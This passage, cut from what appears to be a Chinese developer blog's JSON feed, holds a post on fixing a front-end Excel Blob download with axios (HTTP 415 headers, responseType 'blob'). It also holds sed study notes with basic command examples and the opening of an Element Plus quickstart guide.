(OpenXML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.openxmlformats-officedocument.spreadsheetml.sheet\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xml\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eXML\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/xml\u003c/code\u003e 代码对普通用户来说不可读 (\u003ca href=\"https://tools.ietf.org/html/rfc3023#section-3\"\u003eRFC 3023\u003c/a\u003e, section 3) \u003ccode\u003etext/xml\u003c/code\u003e 代码对普通用户来说可读 (\u003ca href=\"https://tools.ietf.org/html/rfc3023#section-3\"\u003eRFC 3023\u003c/a\u003e, section 3)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xul\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eXUL\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.mozilla.xul+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.zip\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eZIP archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/zip\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.3gp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/3GP_and_3G2\"\u003e3GPP\u003c/a\u003e audio/video container\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/3gpp\u003c/code\u003e \u003ccode\u003eaudio/3gpp\u003c/code\u003e(若不含视频)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.3g2\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/3GP_and_3G2\"\u003e3GPP2\u003c/a\u003e audio/video container\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/3gpp2\u003c/code\u003e \u003ccode\u003eaudio/3gpp2\u003c/code\u003e(若不含视频)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.7z\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/7-Zip\"\u003e7-zip\u003c/a\u003e archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-7z-compressed\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e上面的MIME类型就是Content-Type和Accept两个字段的内容。因此,我们应该将请求头改为如下的形式:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eheaders\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eAccept\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/json\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eToken\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003elocalStorage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetItem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;token\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后还是出现HTTP 415错误,不过是后端返回的数据的请求头。让后端排查了下,发现是Spring的代理把请求头改成\u003ccode\u003eapplication/json\u003c/code\u003e了,所以前端这才会出现415的错误。\u003c/p\u003e\u003cp\u003e但是,还有一个小问题没解决,所以下载还是用不了。\u003c/p\u003e\u003ch2 id=\"问题2-Blob\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E9%97%AE%E9%A2%982-Blob\" class=\"headerlink\" title=\"问题2-Blob\"\u003e\u003c/a\u003e问题2-Blob\u003c/h2\u003e\u003cp\u003e改了两边的请求头并确定都没问题后,发现虽然能正常下载了,但是下载的内容Execl还是不能打开。但是最奇怪的是,APIfox下载的Excel是可以打开的。遂对比了下APIfox和我的代码下载下来的Excel文件,发现我的好像大了一点。\u003c/p\u003e\u003cp\u003e于是在搜索后,又给axios加上了\u003ccode\u003eresponseType: \u0026#39;blob\u0026#39;\u003c/code\u003e的参数,并且给生成Blob的地方也加上了\u003ccode\u003eapplication/vnd.ms-execl\u003c/code\u003e的参数。再次尝试时,下载已经能正常工作了。\u003c/p\u003e\u003cp\u003e于是我猜测,可能是下载时没有将后端返回的数据转换成Blob数据而直接存入Blob对象,引发了数据错位的问题,导致文件大了一点,并且不能正常打开。\u003c/p\u003e\u003cp\u003e修改后的代码:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"title function_\"\u003eserviceAxios\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003emethod\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;POST\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eurl\u003c/span\u003e: \u003cspan class=\"string\"\u003e`/template/export/\u003cspan class=\"subst\"\u003e${\u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.form_data.id}\u003c/span\u003e`\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eheaders\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eAccept\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/json\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eToken\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003elocalStorage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetItem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;token\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003edata\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eresponseType\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;blob\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.\u003cspan class=\"title function_\"\u003ethen\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eres\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eisShow\u003c/span\u003e = \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003edownload\u003c/span\u003e(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eres,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e.\u003cspan class=\"property\"\u003ename\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003esuccess\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载成功\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.\u003cspan class=\"title function_\"\u003ecatch\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eerr\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003eerror\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载失败:\u0026#39;\u003c/span\u003e + err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就行了。里面的\u003ccode\u003edownload()\u003c/code\u003e是随便封装的一个下载Blob文件的工具函数,参数分别是blob数据,MIME类型和文件名。\u003c/p\u003e\u003ch2 id=\"反思\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E5%8F%8D%E6%80%9D\" class=\"headerlink\" title=\"反思\"\u003e\u003c/a\u003e反思\u003c/h2\u003e\u003cp\u003e这学期学计网的时候,重点学的部分是物理层,数据链路层,网络层以及传输层。唯一剩下的一层应用层则因为课时压缩直接压没了(但是期末大题还是考了SMTP协议)。但是恰恰是应用层这一部分在日常前端开发中使用最多。\u003c/p\u003e\u003cp\u003e这侧面反映出来了大学教育体系的一些问题,也提醒我们,书不能看一半,趁着大学有时间,尽量让自己的知识面更加全面一些,这是绝对值得的。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/"},{"title":"sed学习笔记","time":"2023-07-10T08:17:33Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%89%8D%E8%A8%80\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e之前学了Vim,不过Vim不太容易和其他命令行工具结合实现一些自动化任务。随后我将目光投向了sed和awk,它们二者都满足这个条件:\u003cstrong\u003e可以将一个源的数据经过一些预定义的变换,输出到另一个源中\u003c/strong\u003e。这其中,我对\u003ccode\u003esed\u003c/code\u003e相对更加熟悉一些,awk我感觉可能更复杂一些,而sed只需要正则表达式就行。比如我之前接触到的第一个sed表达式:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed -i \u003cspan class=\"string\"\u003e\u0026#39;s@^\\(deb.*stable main\\)$@#\\1\\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/apt/termux-main stable main@\u0026#39;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$PREFIX\u003c/span\u003e/etc/apt/sources.list\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面那段是termux的换源指令。单就命令格式上来看,我觉得和Vim的\u003ccode\u003e%s\u003c/code\u003e替换表达式比较接近。\u003c/p\u003e\u003cp\u003e那么就开始正篇吧:sed的快速入门。\u003c/p\u003e\u003ch2 id=\"基本介绍\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%9F%BA%E6%9C%AC%E4%BB%8B%E7%BB%8D\" class=\"headerlink\" title=\"基本介绍\"\u003e\u003c/a\u003e基本介绍\u003c/h2\u003e\u003cp\u003esed是一个流编辑器,它可以对文本文件或标准输入进行处理和编辑。sed的基本用法是:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed [options] \u003cspan class=\"string\"\u003e\u0026#39;script\u0026#39;\u003c/span\u003e file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,options是一些可选的参数,script是一些sed命令,file是要处理的文本文件。下面是一些常用的options:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e-n\u003c/code\u003e:只打印匹配到的行,不打印所有行。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-e\u003c/code\u003e:可以指定多个script,按顺序执行。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-f\u003c/code\u003e:可以从一个文件中读取script。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-i\u003c/code\u003e:可以直接修改原文件,而不是输出到标准输出。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-r\u003c/code\u003e:可以使用扩展正则表达式。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003esed的script由一些地址和命令组成,地址可以指定要处理的行,命令可以指定要执行的操作。下面是一些常用的地址和命令:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e地址可以是一个数字,表示行号,如\u003ccode\u003e3\u003c/code\u003e表示第三行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e地址可以是一个范围,表示行号之间的区间,如\u003ccode\u003e3,5\u003c/code\u003e表示第三行到第五行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e地址可以是一个正则表达式,表示匹配该模式的行,如\u003ccode\u003e/^abc/\u003c/code\u003e表示以abc开头的行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e地址可以是\u003ccode\u003e$\u003c/code\u003e,表示最后一行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e如果不指定地址,默认对所有行进行处理。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ea\u003c/code\u003e,表示在当前行后面添加一些内容,如\u003ccode\u003ea\\newline\u003c/code\u003e表示在当前行后面添加一行newline。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ec\u003c/code\u003e,表示用新的内容替换当前行,如\u003ccode\u003ec\\newtext\u003c/code\u003e表示用newtext替换当前行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ed\u003c/code\u003e,表示删除当前行,如\u003ccode\u003ed\u003c/code\u003e表示删除当前行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ep\u003c/code\u003e,表示打印当前行,如\u003ccode\u003ep\u003c/code\u003e表示打印当前行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003es\u003c/code\u003e,表示用新的内容替换匹配到的内容,如\u003ccode\u003es/old/new/g\u003c/code\u003e表示将old替换为new,g表示全局替换。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"示例:\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%A4%BA%E4%BE%8B%EF%BC%9A\" class=\"headerlink\" title=\"示例:\"\u003e\u003c/a\u003e示例:\u003c/h2\u003e\u003cul\u003e\u003cli\u003e打印1-3行:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed -n \u003cspan class=\"string\"\u003e\u0026#39;1,3p\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e删除1-3行:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed \u003cspan class=\"string\"\u003e\u0026#39;1,3d\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e在所有行前加#:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed \u003cspan class=\"string\"\u003e\u0026#39;s/^/#/g\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e将所有字母大写:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed \u003cspan class=\"string\"\u003e\u0026#39;s/.*/\\U\u0026amp;/g\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"参考资料\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99\" class=\"headerlink\" title=\"参考资料\"\u003e\u003c/a\u003e参考资料\u003c/h2\u003e\u003cp\u003e¹: \u003ca href=\"https://www.runoob.com/linux/linux-comm-sed.html\"\u003eLinux sed 命令 | 菜鸟教程\u003c/a\u003e\u003cbr/\u003e²: \u003ca href=\"https://zhuanlan.zhihu.com/p/181734158\"\u003esed 命令快速入门 - 知乎\u003c/a\u003e\u003cbr/\u003e³: \u003ca href=\"https://zhuanlan.zhihu.com/p/145661854\"\u003esed完全教程 - 知乎\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"ElementPlus快速入门","time":"2023-07-09T17:13:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"快速开始\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B\" class=\"headerlink\" title=\"快速开始#\"\u003e\u003c/a\u003e快速开始\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B\"\u003e#\u003c/a\u003e\u003c/h1\u003e\u003cp\u003e本节将介绍如何在项目中使用 Element Plus。\u003c/p\u003e\u003ch2 id=\"用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"用法#\"\u003e\u003c/a\u003e用法\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E7%94%A8%E6%B3%95\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003ch3 id=\"完整引入\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%AE%8C%E6%95%B4%E5%BC%95%E5%85%A5\" class=\"headerlink\" title=\"完整引入#\"\u003e\u003c/a\u003e完整引入\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%AE%8C%E6%95%B4%E5%BC%95%E5%85%A5\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003e如果你对打包后的文件大小不是很在乎,那么使用完整导入会更方便。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// main.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { createApp } from \u0026#39;vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport ElementPlus from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport \u0026#39;element-plus/dist/index.css\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport App from \u0026#39;./App.vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst app = createApp(App)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.use(ElementPlus)\u003c/span\u003e\u003cbr/\u003e\u003cspan 